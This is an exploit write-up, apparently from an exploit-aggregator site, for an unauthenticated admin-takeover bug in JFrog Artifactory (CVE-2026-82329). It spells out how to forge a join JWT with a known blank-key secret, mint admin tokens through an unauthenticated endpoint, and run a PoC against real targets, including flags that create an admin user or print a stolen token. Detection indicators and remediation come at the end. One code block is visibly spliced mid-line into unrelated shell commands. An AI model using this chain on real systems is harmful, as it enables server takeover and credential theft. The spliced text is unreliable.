## https://sploitus.com/exploit?id=D29A1B56-D5F5-5703-974E-8AEC085FE36E
# CVE-2026-82329 β JFrog Artifactory unauthenticated auth bypass β admin takeover
**CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) Β· CWE-287 Β· disclosed 2026-08-28 Β· exploited in the wild.**
An unauthenticated, network-adjacent attacker mints a **platform administrator access token**
against a default self-hosted JFrog Artifactory. This directory contains a reproducible Docker
lab and a URL-parameterised validator PoC.
Reproduced and A/B-verified on `artifactory-oss` **7.161.19** (vulnerable, JFrog Access 7.191.11)
vs **7.161.20** (patched, JFrog Access 7.191.14).
> Root cause was **derived from the vendor patch itself** (bytecode diff of the closed-source
> JFrog Access service between the two container images), then proven live β not taken from any
> third-party write-up.
---
## TL;DR exploit chain (all unauthenticated)
1. **Forge a cluster "join" JWT.** JFrog Access verifies join JWTs with the platform *join key*
used as an HMAC secret. A bug leaves a **blank join key** in the trusted verifier set on a
default install. `getSigningKey("")` = `pkcs7(, 32)` = **32 bytes of `0x20`** β a fully
known secret. So anyone can sign a valid join JWT (`alg=HS256`, `kid = SHA256("")`, fresh `iat`,
any `service_id`, `skip_node_registration=true`).
2. **`POST /access/api/v1/registry/join`** (`RegistryNoAuthResource` β *no authentication*) β
**HTTP 201**, returns a `SERVICE` token with scope `admin` (audience = Access).
3. **`POST /access/api/v1/tokens`** with that token, `scope=applied-permissions/admin&audience=*`
β a **full admin platform access token** (this is the "minting admin tokens" behaviour reported
in the wild).
4. **Use it** β read the entire server configuration, list/steal every access token, and on
Pro/Enterprise create admin users, repositories, etc.
```
$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] Step 1 /registry/join -> HTTP 201 SERVICE token minted (scp=admin)
[+] Step 2 /access/api/v1/tokens -> HTTP 200 ADMIN token (scp=applied-permissions/admin, aud=*)
[+] Step 3 proof of admin capability:
GET /artifactory/api/system/configuration -> HTTP 200 (18284 bytes, admin-only; unauth=401)
GET /access/api/v1/tokens (list ALL tokens) -> HTTP 200 (admin-only)
[=] VULNERABLE - unauthenticated attacker obtained ADMIN on this instance (CVE-2026-82329).
```
---
## Root cause (from the patch diff)
JFrog Access 7.191.11 β 7.191.14 changed exactly **12 classes**. The security-relevant ones:
### 1. Blank join key silently trusted β `JoinKeyAccess.tryResolveJoinKeys()`
```java
// VULNERABLE (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey); // jKey == "" allowed
joinKeyListValuesForContext.put(hashPair.getHash(), hashPair); // blank key added to trusted set
log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
});
// PATCHED (7.191.14) -> blank entries filtered out
Arrays.stream(joinKey.get().split(",")).map(String::trim)
.filter(Strings::isNotBlank)
.forEach(...);
```
With no additional join keys configured (**the default**), the config value is `""`;
`"".split(",")` yields `[""]`, so a **blank** `JoinKeyHashPair` (kid = `SHA256("")` =
`e3b0c442β¦b855`) enters the trusted "additional join keys" map. `JoinKeyHashPair` was also
hardened to reject null/blank in the constructor.
**Confirmed on the live default instance** β server startup log:
```
o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
```
That kid is exactly `SHA256("")`.
### 2. The blank join key is a known HMAC secret β `JoinKeyUtils.getSigningKey()`
```java
public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// pkcs7 padding of an EMPTY key: padLength = 32 -> 32 bytes, each == (byte)32 == 0x20
```
So the join JWT for the blank key is signed with **`HS256` over 32 bytes of `0x20`** β attacker-known.
### 3. The unauthenticated join endpoint mints an admin token
`RegistryNoAuthResource` (`@Path("/v1/registry")`, no `@Authorized`):
```java
@POST @Path("join")
public Response join(String jwtStr) { // body = the raw JWT
JwtToken token = this.joinService.join(jwtStr, ...); // validates: fresh iat (/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> VULNERABLE
docker compose down
ART_VER=7.161.20 docker compose up -d # patched control
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> NOT VULNERABLE (join HTTP 400)
```
Artifactory 7.161.x **requires PostgreSQL** (its Access service refuses the bundled Derby), so the
lab includes a postgres sidecar.
---
## Validate a real target
```bash
python3 poc/cve_2026_82329_poc.py http://:8082
python3 poc/cve_2026_82329_poc.py http://:8082 --create-admin evil:P@ssw0rd1 # Pro/Ent state change
python3 poc/cve_2026_82329_poc.py http://:8082 --token-only # print an admin token
```
Point it at whatever front-ends the JFrog Router (`/access/β¦` reachable). It reports **VULNERABLE**
(admin obtained) or **NOT VULNERABLE** (join rejected). Only run against systems you are authorised
to test.
---
## Detection / IOCs
- **Access request log**: `POST /access/api/v1/registry/join` from non-cluster hosts, especially
followed immediately by `POST /access/api/v1/tokens`.
- **Access service log**: the line
`Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 β¦`
means the blank join key is trusted (present on unpatched defaults).
- **Access audit / token store**: unexpected non-expiring tokens with `scope=applied-permissions/admin`,
`audience=*`, or service-subject admin tokens (`sub=`, `scp=admin`, `aud=`).
- Join JWTs whose `kid` claim equals `SHA256("")` (`e3b0c442β¦b855`).
## Remediation
Upgrade to the fixed version for your branch (table above). Additionally: front Artifactory behind a
reverse proxy that does not expose `/access/api/v1/registry/**` to untrusted networks, and rotate the
join key + revoke unexpected admin tokens after patching.
---
*Artifacts in this directory:* `poc/` (validator), `lab/` (Docker lab), `analysis/` (patch diffs +
decompiled evidence), `EVIDENCE.md` (captured run output). For authorised security research only.